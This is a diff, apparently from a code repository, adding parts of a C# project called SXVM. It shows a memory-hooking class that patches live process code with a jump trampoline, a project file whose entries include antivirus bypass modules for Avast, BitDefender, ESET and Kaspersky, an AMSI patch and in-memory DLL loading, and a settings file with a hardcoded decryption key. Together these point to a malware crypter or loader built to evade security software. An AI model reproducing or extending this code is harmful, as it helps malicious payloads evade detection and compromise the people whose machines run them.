private MEMORY_BASIC_INFORMATION OP_MBI = new MEMORY_BASIC_INFORMATION();
|
||||||
|
|
||||||
|
private Delegate OP_STUB = null;
|
||||||
|
|
||||||
|
private bool Permanent_Hook = false;
|
||||||
|
|
||||||
|
private bool Exit_Hook = false;
|
||||||
|
|
||||||
|
private IntPtr Address_Hook = IntPtr.Zero;
|
||||||
|
|
||||||
|
private byte[] Original_Hook = null;
|
||||||
|
|
||||||
|
private byte[] OP_Hook = null;
|
||||||
|
|
||||||
|
private static void VM_EXIT()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Process.GetCurrentProcess().Kill();
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
throw new AccessViolationException();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RestoreVMHook()
|
||||||
|
{
|
||||||
|
if (Address_Hook == IntPtr.Zero || Original_Hook == null || (uint)Original_Hook.LongLength == 0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteMemoryBlock(Address_Hook, Original_Hook, (uint)Original_Hook.LongLength);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void AddVMHook()
|
||||||
|
{
|
||||||
|
if (Address_Hook == IntPtr.Zero || OP_Hook == null || (uint)OP_Hook.LongLength == 0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteMemoryBlock(Address_Hook, OP_Hook, (uint)OP_Hook.LongLength);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal void Unhook()
|
||||||
|
{
|
||||||
|
RestoreVMHook();
|
||||||
|
}
|
||||||
|
|
||||||
|
internal void Hook()
|
||||||
|
{
|
||||||
|
if (OP_Hook == null)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
AddVMHook();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal void Hook(IntPtr Address, Delegate OP_HOOK, bool Permanent, bool Exit)
|
||||||
|
{
|
||||||
|
VirtualQuery(Address, ref OP_MBI, (IntPtr)Marshal.SizeOf(OP_MBI));
|
||||||
|
OP_STUB = OP_HOOK;
|
||||||
|
Permanent_Hook = Permanent;
|
||||||
|
Exit_Hook = Exit;
|
||||||
|
Address_Hook = Address;
|
||||||
|
Original_Hook = ReadMemoryBlock(Address, (uint)22);
|
||||||
|
Delegate CustomEntryPoint = CreateDelegateBasedOn(OP_STUB);
|
||||||
|
GCHandle.Alloc(CustomEntryPoint);
|
||||||
|
IntPtr ENTRYPOINT_PTR = Marshal.GetFunctionPointerForDelegate(CustomEntryPoint);
|
||||||
|
uint oldProtect = 0;
|
||||||
|
VirtualProtect(Address, (UIntPtr)11, 0x40, out oldProtect);
|
||||||
|
Marshal.WriteByte(Address, 0, 0x48);
|
||||||
|
Marshal.WriteByte(Address, 1, 0xB8);
|
||||||
|
Marshal.WriteInt64(Address, 2, ENTRYPOINT_PTR.ToInt64());
|
||||||
|
Marshal.WriteByte(Address, 10, 0xFF);
|
||||||
|
Marshal.WriteByte(Address, 11, 0xE0);
|
||||||
|
OP_Hook = ReadMemoryBlock(Address, (uint)22);
|
||||||
|
VirtualProtect(Address, (UIntPtr)11, ConvertProtectToFlags(OP_MBI.Protect), out oldProtect);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProjectGuid>{E1902815-B6DF-4BC8-94A6-C61A382FE83D}</ProjectGuid>
|
||||||
|
<OutputType>WinExe</OutputType>
|
||||||
|
<RootNamespace>SXVM</RootNamespace>
|
||||||
|
<AssemblyName>SXVM</AssemblyName>
|
||||||
|
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
|
||||||
|
<FileAlignment>512</FileAlignment>
|
||||||
|
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||||
|
<Deterministic>true</Deterministic>
|
||||||
|
<NuGetPackageImportStamp>
|
||||||
|
</NuGetPackageImportStamp>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<Optimize>false</Optimize>
|
||||||
|
<OutputPath>bin\Debug\</OutputPath>
|
||||||
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<OutputPath>bin\x64\Debug\</OutputPath>
|
||||||
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<PlatformTarget>x64</PlatformTarget>
|
||||||
|
<LangVersion>7.3</LangVersion>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<Prefer32Bit>true</Prefer32Bit>
|
||||||
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
|
||||||
|
<OutputPath>bin\x64\Release\</OutputPath>
|
||||||
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<PlatformTarget>x64</PlatformTarget>
|
||||||
|
<LangVersion>7.3</LangVersion>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<Prefer32Bit>true</Prefer32Bit>
|
||||||
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.ComponentModel.Composition" />
|
||||||
|
<Reference Include="System.Core" />
|
||||||
|
<Reference Include="System.IO.Compression" />
|
||||||
|
<Reference Include="System.Numerics" />
|
||||||
|
<Reference Include="System.Xml.Linq" />
|
||||||
|
<Reference Include="System.Data.DataSetExtensions" />
|
||||||
|
<Reference Include="Microsoft.CSharp" />
|
||||||
|
<Reference Include="System.Data" />
|
||||||
|
<Reference Include="System.Deployment" />
|
||||||
|
<Reference Include="System.Drawing" />
|
||||||
|
<Reference Include="System.Net.Http" />
|
||||||
|
<Reference Include="System.Windows.Forms" />
|
||||||
|
<Reference Include="System.Xml" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="API.cs" />
|
||||||
|
<Compile Include="Bypasses\Avast.cs" />
|
||||||
|
<Compile Include="Bypasses\BitDefender.cs" />
|
||||||
|
<Compile Include="Bypasses\Default.cs" />
|
||||||
|
<Compile Include="Bypasses\ESET.cs" />
|
||||||
|
<Compile Include="Bypasses\Kaspersky.cs" />
|
||||||
|
<Compile Include="DllFromMemory.cs" />
|
||||||
|
<Compile Include="HardwareBreakpointAmsiPatch.cs" />
|
||||||
|
<Compile Include="HarmonyPatcher.cs" />
|
||||||
|
<Compile Include="Hooks\EnvironmentExit.cs" />
|
||||||
|
<Compile Include="Hooks\GetRawBytes.cs" />
|
||||||
|
<Compile Include="Program.cs" />
|
||||||
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="Settings.cs" />
|
||||||
|
<Compile Include="SXVM.cs" />
|
||||||
|
<EmbeddedResource Include="Properties\Resources.resx">
|
||||||
|
<Generator>ResXFileCodeGenerator</Generator>
|
||||||
|
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||||
|
<SubType>Designer</SubType>
|
||||||
|
</EmbeddedResource>
|
||||||
|
<Compile Include="Properties\Resources.Designer.cs">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Resources.resx</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<EmbeddedResource Include="0Harmony.bin" />
|
||||||
|
<None Include="Properties\Settings.settings">
|
||||||
|
<Generator>SettingsSingleFileGenerator</Generator>
|
||||||
|
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||||
|
</None>
|
||||||
|
<Compile Include="Properties\Settings.Designer.cs">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Settings.settings</DependentUpon>
|
||||||
|
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||||
|
</Compile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="App.config" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup />
|
||||||
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace SXVM
|
||||||
|
{
|
||||||
|
internal static class Settings
|
||||||
|
{
|
||||||
|
internal static string DecryptionKey = @"yQquGVilLyQquGVilLVYkhwQZutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZDVYkhwQZyQquGVilLVYkhwQZutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZDutOPIlAPpvWEMYXqifKLayQJkJEXfIiwZD";
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user